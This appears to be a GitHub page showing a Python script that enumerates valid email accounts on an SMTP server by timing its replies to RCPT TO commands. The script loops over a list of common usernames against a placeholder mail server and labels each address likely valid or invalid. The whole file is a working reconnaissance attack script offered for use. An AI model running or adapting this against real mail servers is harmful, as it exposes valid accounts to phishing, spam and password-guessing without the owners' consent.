-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathSMTP_Enumeration.py
89 lines (71 loc) · 2.47 KB
/
SMTP_Enumeration.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import socket
import time
import statistics
# SMTP server configuration
SMTP_SERVER = 'mail.server.com'
SMTP_PORT = 25
# List of users and domains to check
users = [
'valid_user',
'invalid_user',
'test',
'service',
'noreply',
'unknown',
'info',
'noc',
'soc'
]
domains = [
'server.com',
]
# Number of tests per email address
TEST_COUNT = 10
# Thresholds for timing attack detection
VALID_TIME_THRESHOLD = 0.6
INVALID_TIME_THRESHOLD = 0.5
# Lists to store valid and invalid email addresses
valid_emails = []
invalid_emails = []
# Function to send commands and capture response time
def send_smtp_command(sock, command):
sock.send(command.encode())
return sock.recv(1024).decode()
# Timing attack detection for each combination of user and domain
for user in users:
for domain in domains:
email = f'{user}@{domain}'
times = []
responses = []
print(f"Measuring response times for {email}...")
for i in range(TEST_COUNT):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((SMTP_SERVER, SMTP_PORT))
send_smtp_command(sock, 'HELO fingonlab.tech\r\n')
send_smtp_command(sock, 'MAIL FROM:<[email protected]>\r\n')
start_time = time.time()
response = send_smtp_command(sock, f'RCPT TO:<{email}>\r\n')
end_time = time.time()
times.append(end_time - start_time)
responses.append(response)
send_smtp_command(sock, 'QUIT\r\n')
sock.close()
time.sleep(3)
avg_time = statistics.mean(times)
print(f"Average response time for {email}: {avg_time:.4f} seconds")
if avg_time > VALID_TIME_THRESHOLD:
print(f"\033[92mResult: {email} is likely valid.\033[0m") # Green for valid email
valid_emails.append(email)
elif avg_time < INVALID_TIME_THRESHOLD:
print(f"\033[91mResult: {email} is likely invalid.\033[0m") # Red for invalid email
invalid_emails.append(email)
else:
print(f"Result: {email} could not be clearly classified.")
print("-" * 50)
# Output of all valid and invalid email addresses
print("\nValid E-Mail Addresses:")
for email in valid_emails:
print(f"\033[92m{email}\033[0m")
print("\nInvalid E-Mail Addresses:")
for email in invalid_emails:
print(f"\033[91m{email}\033[0m")